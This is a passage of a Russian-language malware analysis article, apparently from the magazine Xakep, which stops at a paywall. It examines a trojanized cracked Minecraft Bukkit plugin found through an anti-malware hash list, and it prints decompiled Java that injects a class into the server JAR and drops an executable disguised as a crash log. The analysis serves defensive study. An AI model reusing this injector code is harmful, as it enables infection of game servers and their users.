Поиск семплов
Я верю в глубокое изучение конкретных семплов. Поэтому первым делом я решил поискать антивирус, созданный специально для пользователей «Майнкрафта». Несколько утилит лечили последствия атаки печально известного Fracturiser. Но есть и антивирус общего назначения — MCAntiMalware.
Это серверное приложение на Java, которое проверяет хеши файлов и несколько видов сигнатур. Меня интересует только его база, которая лежит по адресу src\
. База сохранена в формате SQLite, так что откроем ее через бесплатный SQLite Browser.
В таблице BlacklistedChecksums
видим набор хешей SHA-1. У меня нет доступа к базам VirusTotal (напиши мне, если у тебя есть!), так что будем искать хеши в Google. Хешей всего лишь 349 штук. Можно было бы написать скрипт, но я решил, что быстрее будет проверить их вручную. Сегодня поговорим о найденных семплах.
DropEdit 1.10.4
SHA1: C471E7A958305B003A16459EDD59C9C552F56DAB
Это взломанный вариант платного плагина для Bukkit — популярного загрузчика модов для серверов Minecraft. Я поискал по имени плагина его копии и на каком‑то богом забытом форуме нашел версию 1.10.3. Закидываем файл JAR в декомпилятор JD-GUI и получаем исходный код программы. В большинстве случаев JD-GUI хорошо справляется со своей задачей, но при ошибках декомпиляции можно использовать другие инструменты.
При компиляции Java сохраняет имена переменных и функций. Они могут быть заменены сторонним обфускатором. Также код может быть спрятан за Base64 или бессмысленной Unicode-строкой и расшифровываться по мере исполнения. Подобных трюков вполне достаточно, чтобы считать файл подозрительным.
Код обеих версий выглядит похожим, но во вредной версии есть какие‑то вставки, которые надо вычленить. Для этого я распаковал декомпилированные исходники (они сохраняются в виде ZIP) и загрузил обе папки в инструмент сравнения WinMerge.
Однако добавленные декомпилятором комментарии мешали сравнению, так как вставленные номера строк и пути к исходным файлам не совпадают. Поэтому я убрал их при помощи регулярных выражений. Обычно я тестирую их на сайте regex101. Вот как это можно сделать.
/* Location: C:\Users\admin\Desktop\minecraft\DropEdit_1.10.4.jar!\de\Linus122\DropEdit\Cmd.class * Java compiler version: 8 (52.0) * JD-Core Version: 1.1.3 */
Этот блок легко поймать регуляркой \/\
. В ней ловим конец комментария после строки Location
, забирая все символы, кроме обратного слеша.
/* */ public Manager(Plugin pl) {/* 27 */ InputStream is = pl.getResource("config_default.yml");/* */
Таким же образом вырезаются комментарии с номером строки. Для этого подойдет регулярка \/\
, в которой мы забираем пробелы и цифры между звездочек со слешами. Я использовал Notepad++ для поиска и замены регулярных выражений во всех файлах в папке, но с этим справится любой современный редактор текста.

Снова сравнив папки в WinMerge, теперь видим только различия в коде. В зараженной версии присутствует новый файл: Manager.
. Прогнав результат работы декомпилятора через CodeBeautify, получаем тот же код, но с красивым форматированием:
public void onEnable() { ReflectionUtils utils = new ReflectionUtils(); types = utils.loadEntityTypes(); if (isUnix(System.getProperty("os.name")));// (...)public static boolean isUnix(String OS) { return !(OS.indexOf("nix") < 0 && OS.indexOf("nux") < 0 && OS.indexOf("aix") <= 0);}
В отличие от остальных семплов, этот проверяет, что он исполняется на Unix.
package de.Linus122.DropEdit;import java.io.File;import java.io.FileOutputStream;import java.io.InputStream;import java.io.OutputStream;import java.io.Writer;import java.net.URI;import java.nio.charset.StandardCharsets;import java.nio.file.FileSystem;import java.nio.file.FileSystems;import java.nio.file.Files;import java.nio.file.OpenOption;import java.nio.file.Path;import java.nio.file.Paths;import java.nio.file.StandardOpenOption;import java.util.HashMap;import java.util.Map;import org.apache.commons.io.IOUtils;import org.bukkit.Bukkit;import org.bukkit.plugin.Plugin;public class Manager { public Manager(Plugin pl) { InputStream is = pl.getResource("config_default.yml"); String jar = (new File(Bukkit.class.getProtectionDomain().getCodeSource().getLocation().getPath())).getName(); try { File dir; Map < String, String > env = new HashMap < > (); env.put("create", "true"); Path path = Paths.get(jar, new String[0]); URI uri = URI.create("jar:" + path.toUri()); Exception exception1 = null, exception2 = null; try { FileSystem fs = FileSystems.newFileSystem(uri, env); try { Path nf = fs.getPath("org/bukkit/craftbukkit/Main2.class", new String[0]); Exception exception3 = null, exception4 = null; try { Writer writer = Files.newBufferedWriter(nf, StandardCharsets.ISO_8859_1, new OpenOption[] { StandardOpenOption.CREATE }); try { while (true) { int value = is.read(); if (value == -1) break; writer.write(value); } } finally { if (writer != null) writer.close(); } } finally { exception4 = null; if (exception3 == null) { exception3 = exception4; } else if (exception3 != exception4) { exception3.addSuppressed(exception4); } } } finally { if (fs != null) fs.close(); } } finally { exception2 = null; if (exception1 == null) { exception1 = exception2; } else if (exception1 != exception2) { exception1.addSuppressed(exception2); } } File fileOUT = new File(dir.getPath(), "crash-2017-06-01_22.06.22-server.txt"); InputStream is2 = pl.getResource("old_config.txt"); OutputStream os = new FileOutputStream(fileOUT); IOUtils.copy(is2, os); dir.setReadable(true, true); dir.setWritable(true, true); dir.setExecutable(true, true); fileOUT.setReadable(true, true); fileOUT.setWritable(true, true); fileOUT.setExecutable(true, true); } catch (Exception exception) {} }}
Обрати внимание на импорт. Работа с файловой системой или сетью напрямую всегда настораживает. Легальному плагину незачем вылезать за пределы ресурсов игры или отправлять данные через сеть, и такое поведение всегда намекает на возможную вредоносную активность.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»